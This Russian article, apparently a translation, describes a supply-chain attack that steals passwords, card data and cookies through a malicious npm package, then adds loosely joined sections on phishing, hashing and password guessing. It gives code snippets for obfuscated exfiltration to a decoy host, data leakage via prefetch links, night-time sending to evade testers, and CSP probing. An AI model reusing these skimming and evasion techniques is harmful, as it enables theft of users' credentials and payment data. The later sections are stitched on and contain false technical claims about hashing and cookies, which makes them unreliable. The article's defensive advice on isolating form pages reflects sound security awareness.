Как работает логин-пароль и в какой момент хакеры могут украсть эти данные?

Кража паролей: как наши учетные записи уводят через npm-пакет

Рассмотрим один интересный способ, как кража паролей может быть успешно реализована.

Заполучить пароль или номер кредитной карты можно многими способами. Далее речь пойдет о том, как это делается при помощи внедрения кода в npm-пакет.

Вредоносный код, который и выполняет всю грязную работу, занимается поиском на странице браузера чего-либо из представленного ниже:

• любая форма для ввода;
• элемент со свойством, в названии которого встречается «password», «cardnumber», «cvc», «checkout» и т. д.

Если после события submit искомая информация найдена, на этой страничке есть чем поживиться.

• Из каждого поля формы извлекаем информацию: ( document.forms.forEach(…) );
• собираем «печеньки»: document.cookie;
• все это дело оборачивается всегда в рандомную строку: const payload = btoa(JSON.stringify(sensitiveUserData));
• а после, отправляется на промежуточный хост: https://legit-analytics.com?q=${payload};
• и в случае наличия полезностей – отправляется на сервер хакера.

Чтобы это счастье вышло в свет, нужно как-то заставить код попасть на потенциальные сайты-доноры. Можно пытаться пробиться через расширения браузеров, но это не так эффективно. Межсайтовый скриптинг – хороший вариант, но у него (у XSS) есть свои протоколы безопасности, и снова не те масштабы. Гораздо лучше подойдет npm.

Можно изобрести пакет, который будет на лету менять цвет консольного вывода в браузере.

Заставляем принять этот “полезный” апдейт в свои зависимости, при помощи пулл-реквеста для нескольких (любых) существующих пакетов в сети, и ждать.

Через месяц имеем 120000 скачиваний этого обновления и выполнение кода на более чем 1000 сайтов. Конечно же, это не панацея, и велика вероятность, что эфемерное обновление пакета не примут с распростертыми объятиями, но это безопасно, и есть шанс, что быстро не засекут.

Звучит все гладко и красиво, но есть некоторые вопросы, которые могут появиться у пытливого читателя, и их нужно развенчать.

Сетевые запросы от скрипта – код почти ничего не отправляет, т. е. постоянного обмена трафиком нет. Отсылка собранного материала происходит с 19:00 до 7:00, когда безопасники и прочие тестеры уже ничего не тестируют. Даже если тестировщик и захочет отличиться, код подменяет URL на “левый”, схожий с социальными сетями, и отправка происходит всегда в разное время: вот такой эффект неожиданности.

Поиск “странностей” в npm. Удачи! Временные и ресурсные затраты несопоставимы, ну а если и найдется что-то, то в коде нет и намека на fetch, XMLHttpRequest или адрес хоста, на который все отправляется.

const i = 'gfudi';  const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');  self[k(i)](urlWithYourPreciousData);

«gfudi» – это fetch, но с переставленными буквами на одну, а self – это алиас window. Не используется ничего обычного, как fetch. Вместо этого, везде где можно, нужно применять EventSource(urlВашихЛюбимыхДанных). Даже если трафик буду слушать по serviceWorker-у, никто ничего не заподозрит т. к. ничего не отправляется в браузерах, которые поддерживают serviceWorker.

Использование CSP в качестве защиты. С точки зрения CSP наш код ничего запрещенного не делает, кроме отправки данных на какой-то домен. Да, CSP неплохо справляется с XSS-атаками и может ограничивать общение браузера с внешним миром, но действия скрипта не настолько масштабны, чтобы можно было что-то проанализировать.

const linkEl = document.createElement('link');  linkEl.rel = 'prefetch';  linkEl.href = urlWithYourPreciousData;  document.head.appendChild(linkEl);

Чтобы не поплатиться за взлом, нужно проверять CSP на наличие функционирующей системы блокировки (connect-src) и инструмент-перехватчик (default-src). Сделать это можно так:

fetch(document.location.href)  .then(resp => {  const csp = resp.headers.get('Content-Security-Policy');  // Смотрим, как работает CSP });

Проверять нужно в первый раз, чтобы пользователь, и прочие надзиратели ничего не заподозрили.

Теперь подумаем от лица пользователя или разработчика: “Все плохо, наши пароли уже в даркнэте!”. Чтобы попытаться избежать провала, нельзя использовать npm на страницах с формами, и прочими собирающими компонентами. Нельзя использовать стороннюю рекламу, Google Tag Manager, скрипты с диаграммами, аналитику – никакого постороннего кода быть не должно, иначе можно получить инъекцию. Это касается только страниц, где пользователь что-то вводит, остальная же часть сайта может спокойно работать на React-е и не беспокоиться.

Вам нужна отдельная страница, которая не имеет ничего лишнего и уже в ней собирать номера кредиток, пароли и учетные данные в iFrame.

Кража паролей осуществляется и при помощи фишинга (подделывание настоящего сайта инфицированной копией). Если хакер сможет завладеть вашим почтовым ящиком, то плакали все регистрации и банковские счета, которые были привязаны к этой почте. За 2017 год было взломано 12 млн. учетных записей.

Вполне успешным является и кейлогерство – 1 млн. пользователей пострадал, именно из-за этого вредоноса.

Статья о том, что никому нельзя доверять, и оставлять сайт с известными уязвимостями строго запрещено, т. к. в мире огромное количество желающих полакомиться чем-то ценным. Любой сайт уязвим, и список этих брешей постоянно меняется: не забывайте держать руку на пульсе.

Перевод на русский осуществлен Библиотекой Программиста.

Оригинал статьи

Получение пароля с помощью фишинга

Зачем тратить силы для получения логина-пароля, если пользователи по собственной невнимательности сделают это для вас? Чаще всего кража логина и пароля производится с помощью фишинговых сайтов. Эти веб-страницы маскируются по известные ресурсы, обманывая пользователей, которые вводят свои настоящие логин-пароли. После этого сайт, созданный для кражи паролей, передаёт своим разработчикам полученную информацию и она уже используется на усмотрение злоумышленников.

Например, несколько лет назад существовало несколько ресурсов, выдающих себя за сайт социальной сети “Вконтакте”. Иногда эти ресурсы обещали расширенные функции: просмотр гостей, расширенные настройки и функции. Но все они преследовали одну цель — кражу пароля от “ВКонтакте”.

Обратите внимание на точность названия сайта и защищенность соединения

Хэширование

При вводе пароля и логина хэш проверяется сперва логин. Если введённый логин существует, то система берёт пароль, возможно, уже захэшированный, и сравнивает его с тем, который есть во внутренней базе данных пользователей. Далее многие сайты используют для передачи трафика и информации не пару логин-пароль, а их хэши.

Удивительно, но факт — хакеры при взломе пользовательских баз получают не списки паролей, а список хэшей. Однако, для их расшифровки понадобятся годы из-за того, что для хэширования используется вычисления, которые сложно обратить вспять. Этот способ кражи логина и пароля неэффективен, даже если есть алгоритм хэширования.

Подбор паролей

Поэтому хакеры предпочитают другой метод взлома — через подбор паролей. По данным одного из исследований, 90% онлайн-аккаунтов используют один из 10 тысяч паролей. При этом многие пользователи, забыв пароль, не пытаются его вспомнить, а сразу приступают к процедуре восстановления пароля.

Если вы используете аккаунт в социальных сетях или сервисах для авторизации на сторонних сайтах, то для входа в систему используется другой метод: сайт, куда производится залогинивание, ищет по “кукам” любую информацию, чаще всего — “логин-пароль”.

Поэтому обращайте внимание на то, какие сайты сохраняют “куки”: это слишком важная информация, чтобы предоставлять её посторонним.